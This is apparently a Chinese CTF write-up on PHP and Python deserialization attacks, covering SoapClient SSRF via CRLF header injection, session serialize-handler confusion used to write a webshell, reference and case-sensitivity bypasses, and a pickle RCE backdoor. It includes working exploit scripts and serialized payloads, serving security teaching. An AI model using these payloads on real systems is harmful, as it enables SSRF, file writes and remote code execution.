1.SoapClient反序列化SSRF 
CRLF 
CRLF简介 
CRLF是”回车 + 换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。
 
举个例子
一般网站会在HTTP头中用Location: http://baidu.com这种方式来进行302跳转 ,所以我们能控制的内容就是Location:后面的XXX某个网址。
所以一个正常的302跳转包是这样:
HTTP/1.1 302 Moved Temporarily  Date: Fri, 27 Jun 2014 17:52:17 GMT  Content-Type: text/html  Content-Length: 154  Connection: close  Location: http://www.sina.com.cn 
但如果我们输入的是
http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun 
注入了一个换行,此时的返回包就会变成这样:
HTTP/1.1 302 Moved Temporarily  Date: Fri, 27 Jun 2014 17:52:17 GMT  Content-Type: text/html  Content-Length: 154  Connection: close  Location: http://www.sina.com.cn  Set-cookie: JSPSESSID=wooyun 
这个时候这样我们就给访问者设置了一个SESSION,造成一个“会话固定漏洞”。
SoapClient 
SOAP:Simple Object Access Protocol简单对象访问协议
正常情况下SaopClient类,调用一个不存在的函数,会去调用call这个魔术方法。
接下来看他俩结合的组合拳达到POST任意数据的效果。
我们可以在UA头当中进行CRLF注入,这样就能控制Content-Type以及POST的内容。
<?php $target  = 'http://127.0.0.1:5555/path' ;$post_string  = 'data=something' ;$headers  = array (    'X-Forwarded-For: 127.0.0.1' ,     'Cookie: PHPSESSID=my_session'      ); $b  = new  SoapClient (null ,array ('location'  => $target ,'user_agent' =>'wupco^^Content-Type: application/x-www-form-urlencoded^^' .join ('^^' ,$headers ).'^^Content-Length: ' .(string )strlen ($post_string ).'^^^^' .$post_string ,'uri'       => "aaab" ));$aaa  = serialize ($b );$aaa  = str_replace ('^^' ,"\r\n" ,$aaa );$aaa  = str_replace ('&' ,'&' ,$aaa );echo  $aaa ;$c  = unserialize ($aaa );$c ->not_exists_function ();?> 
我们可以看到这里成功POST了一个data=something
以上就是我们这套组合拳的使用,下边看一个具体的题目
web259 
index.php 
<?php highlight_file (__FILE__ );$vip  = unserialize ($_GET ['vip' ]);$vip ->getFlag ();
flag.php 
$xff  = explode (',' , $_SERVER ['HTTP_X_FORWARDED_FOR' ]);array_pop ($xff );$ip  = array_pop ($xff );if ($ip !=='127.0.0.1' ){	die ('error' ); }else { 	$token  = $_POST ['token' ]; 	if ($token =='ctfshow' ){ 		file_put_contents ('flag.txt' ,$flag ); 	} } 
这里我们看到flag.php中得到flag的条件,首先将IP修改为127.0.0.1并且POST一个token=ctfshow,这里就能将flag内容写入到flag.txt当中,我们访问这个文件就能得到flag。
但是这里的XFF是无法直接进行伪造的,我们再看下index.php这里有一个$vip->getFlag()这里并没有getFlag()这个函数,因此我们可以用SoapClient这个类,这样就会调用call这个魔术方法。同时配合CRLF构造POST的内容。
exp.php 
<?php $target  = 'http://127.0.0.1/flag.php' ;$post_string  = 'token=ctfshow' ;$headers  = array (    'X-Forwarded-For: 127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1' ,      'UM_distinctid:175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d'  ); $b  = new  SoapClient (null ,array ('location'  => $target ,'user_agent' =>'yn8rt^^Content-Type: application/x-www-form-urlencoded^^' .join ('^^' ,$headers ).'^^Content-Length: ' .(string )strlen ($post_string ).'^^^^' .$post_string ,'uri'  => "aaab" ));$aaa  = serialize ($b );$aaa  = str_replace ('^^' ,"\r\n" ,$aaa );$aaa  = str_replace ('&' ,'&' ,$aaa );echo  urlencode ($aaa );?>      O%3 A10%3 A%22 SoapClient%22 %3 A4%3 A%7 Bs%3 A3%3 A%22 uri%22 %3 Bs%3 A4%3 A%22 aaab%22 %3 Bs%3 A8%3 A%22 location%22 %3 Bs%3 A25%3 A%22 http%3 A%2 F%2 F127.0.0 .1 %2 Fflag.php%22 %3 Bs%3 A11%3 A%22 _user_agent%22 %3 Bs%3 A235%3 A%22 yn8rt%0 D%0 AContent-Type%3 A+application%2 Fx-www-form-urlencoded%0 D%0 AX-Forwarded-For%3 A+127.0 .0.1 %2 C127.0.0 .1 %2 C127.0.0 .1 %2 C127.0.0 .1 %2 C127.0.0 .1 %0 D%0 AUM_distinctid%3 A175648cc09a7ae-050 bc162c95347-32667006 -13 c680-175648 cc09b69d%0 D%0 AContent-Length%3 A+13 %0 D%0 A%0 D%0 Atoken%3 Dctfshow%22 %3 Bs%3 A13%3 A%22 _soap_version%22 %3 Bi%3 A1%3 B%7 D 
直接传参,然后访问flag.txt这样就能得到flag
2.php中的session反序列化 
参考文章 
这里我们首先了解一下PHP session的存储机制,PHP session的存储机制,是由session_serialize_handler来定义的。
session_serialize_handler定义的引擎有三种
php:键名+竖线+经过serialize()函数序列化处理的值
php_binary:键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php_serialize:经过serialize()函数序列化处理的数组
 
首先看一下利用php引擎的序列化结果
<?php error_reporting (0 );ini_set ('session.serialize_handler' ,'php' );session_start ();$_SESSION ['session' ] = $_GET ['session' ];?> 
序列化的结果为:session|s:7:"xianzhi";
再看一下php_serialize处理器
<?php error_reporting (0 );ini_set ('session.serialize_handler' ,'php_serialize' );session_start ();$_SESSION ['session' ] = $_GET ['session' ];?> 
序列化的结果为:a:1:{s:7:"session";s:7:"xianzhi";}
a:1表示$_SESSION数组中有 1 个元素,花括号里面的内容即为传入 GET 参数经过序列化后的值.
PHP session反序列化的产生的原因就是由于这两种方式的混用。
形成的原理就是在用session.serialize_handler = php_serialize存储的字符可以引入 | , 再用session.serialize_handler = php格式取出$_SESSION的值时, |会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞。
<?php error_reporting (0 );ini_set ('session.serialize_handler' ,'php_serialize' );session_start ();$_SESSION ['session' ] = $_GET ['session' ];?> 
先看看session的初始内容,如下:
a:1:{s:7:"session";s:5:"hello";} 
存在另一个class.php 文件,内容如下:
<?php     error_reporting (0 );   ini_set ('session.serialize_handler' ,'php' );   session_start ();     class  XianZhi      public  $name  = 'panda' ;     function  __wakeup (       echo  "Who are you?" ;     }     function  __destruct (       echo  '<br>' .$this ->name;     }   }   $str  = new  XianZhi ();  ?>  
实例化对象后,输出了panda
这两个文件的作用很清晰,session.php文件的处理器是php_serialize,class.php文件的处理器是php,session.php文件的作用是传入可控的 session值,class.php文件的作用是在反序列化开始前输出Who are you?,反序列化结束的时候输出name值。
这两个文件如果想要利用php bug #71101,我们要在session.php文件传入|+序列化格式的值,然后再次访问class.php文件的时候,就会在调用session值的时候,触发此 BUG。
首先生成序列化字符串,利用 payload 如下
<?php class  XianZhi     public  $name ;     function  __wakeup (       echo  "Who are you?" ;     }     function  __destruct (       echo  '<br>' .$this ->name;     } }     $str  = new  XianZhi ();     $str ->name = "xianzhi" ;     echo  serialize ($str );   ?>  
payload:O:7:"XianZhi":1:{s:4:"name";s:7:"xianzhi";}
然后传入session.php:
此时的 session内容如下:
a:1:{s:7:"session";s:44:"|O:7:"XianZhi":1:{s:4:"name";s:7:"xianzhi";}";} 
再次访问class.php文件的时候,就会发现已经触发了php bug #71101
这个|将这个payload分割成两个部分,php处理时,会把|前边的内容作为键值,而后边的部分作为输入的内容进行反序列化,我们可以控制|后的部分,达到反序列化的目的。
web 263 
首先发现了www.zip找到了题目源代码。
inc.php 
...... class  User     public  $username ;     public  $password ;     public  $status ;     function  __construct ($username ,$password          $this ->username = $username ;         $this ->password = $password ;     }     function  setStatus ($s          $this ->status=$s ;     }     function  __destruct (         file_put_contents ("log-" .$this ->username, "使用" .$this ->password."登陆" .($this ->status?"成功" :"失败" )."----" .date_create ()->format ('Y-m-d H:i:s' ));     } } ...... 
这里存在file_put_contents()函数,可以写入木马。
同时注意到这个文件通过ini_set('session.serialize_handler', 'php');选择了php这个处理引擎。
index.php 
error_reporting (0 );session_start ();if (isset ($_SESSION ['limit' ])){	$_SESSION ['limti' ]>5 ?die ("登陆失败次数超过限制" ):$_SESSION ['limit' ]=base64_decode ($_COOKIE ['limit' ]); 	$_COOKIE ['limit' ] = base64_encode (base64_decode ($_COOKIE ['limit' ]) +1 ); }else { 	 setcookie ("limit" ,base64_encode ('1' )); 	 $_SESSION ['limit' ]= 1 ; } 
这里index.php没有特别声明session的处理引擎,因此他应该是采用了默认的php_serialize引擎,这里可以构造session反序列化然后写入木马。
访问首页,抓包可以看到 Cookie:limit 参数,可以把反序列化数据写入 session 文件
因 inc/inc.php 存在 ini_set('session.serialize_handler', 'php'); 和 session_start(); ,只要访问即会获取之前写入的 session 数据,然后 check.php 包含 inc/inc.php ,即会触发 User类 的 __destruct方法 ,从而把恶意数据通过 file_put_contents 写入名为 log-$this.username ,内容为 $this.password 的文件
exp.php 
<?php class  User     public  $username  = 'test.php' ;     public  $password  = '<?php system("cat flag.php") ?>' ; } $user  = new  User ();echo (base64_encode ('|' .serialize ($user )));?> 
加 '|' 是因为 session.serialize_handler 使用 php引擎 ,session 关联数组的 key 和 value 是通过 '|' 区分的, value 是需要被反序列化的部分。然后默认不是用 php 引擎,所以写入是正常字符串,在 inc/inc.php 这读取语义又不一样了
 
具体步骤 
1.生成 base64 编码序列化字符串
2.将字符串在浏览器中保存为cookie(输入cookie,刷新下页面),或者抓包改 cookie:limit 的值
3.请求 check.php 反序列化,生成文件
4.访问生成的文件,得到flag
3.反序列化中引用的使用 
web 265 
index.php 
<?php error_reporting (0 );include ('flag.php' );highlight_file (__FILE__ );class  ctfshowAdmin     public  $token ;     public  $password ;     public  function  __construct ($t ,$p          $this ->token=$t ;         $this ->password = $p ;     }     public  function  login (         return  $this ->token===$this ->password;     } } $ctfshow  = unserialize ($_GET ['ctfshow' ]);$ctfshow ->token=md5 (mt_rand ());if ($ctfshow ->login ()){    echo  $flag ; } 
解题思路 
这里我们看到,首先对我们输入的内容反序列化,然后将token设置为一个随机数的哈希值,输出flag的条件是password和token相等,这里我们很难预测这个随机数,更不能构造哈希的碰撞,这里使用引用。
具体操作如下
exp.php 
<?php class  ctfshowAdmin     public  $token ;     public  $password ;     public  function  __construct ($t ,$p          $this ->token=$t ;         $this ->password = $p ;     } } $a =new  ctfshowAdmin ('123' ,'123' );$a ->password=&$a ->token;echo  serialize ($a );
4.PHP对类名的大小写不敏感 
index.php 
<?php highlight_file (__FILE__ );include ('flag.php' );$cs  = file_get_contents ('php://input' );class  ctfshow     public  $username ='xxxxxx' ;     public  $password ='xxxxxx' ;     public  function  __construct ($u ,$p          $this ->username=$u ;         $this ->password=$p ;     }     public  function  login (         return  $this ->username===$this ->password;     }     public  function  __toString (         return  $this ->username;     }     public  function  __destruct (         global  $flag ;         echo  $flag ;     } } $ctfshowo =@unserialize ($cs );if (preg_match ('/ctfshow/' , $cs )){    throw  new  Exception ("Error $ctfshowo " ,1 ); } 
解题思路 
首先题目会反序列我们输入的内容,我们只要能正常反序列化这个类然后触发destruct函数就能正常输出flag,但是这里正则过滤了类名,我们可以用大小写绕过。
exp.php 
<?php class  Ctfshow $a  = new  Ctfshow ();echo  serialize ($a );?> 
这里总结一下大小的问题。
区分大小写的: 变量名、常量名、数组索引(键名key)
不区分大小写的:函数名、方法名、类名、魔术常量、NULL、FALSE、TRUE
 
5.pickle 反序列化 
打开页面查看源代码发现
<!--/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m) -->
我们输入一个base64编码的字符串然后触发pickle的反序列,这里可以RCE
参考文章 
因为环境没有bash这里用/bin/sh
之后可以反弹shell,拿到flag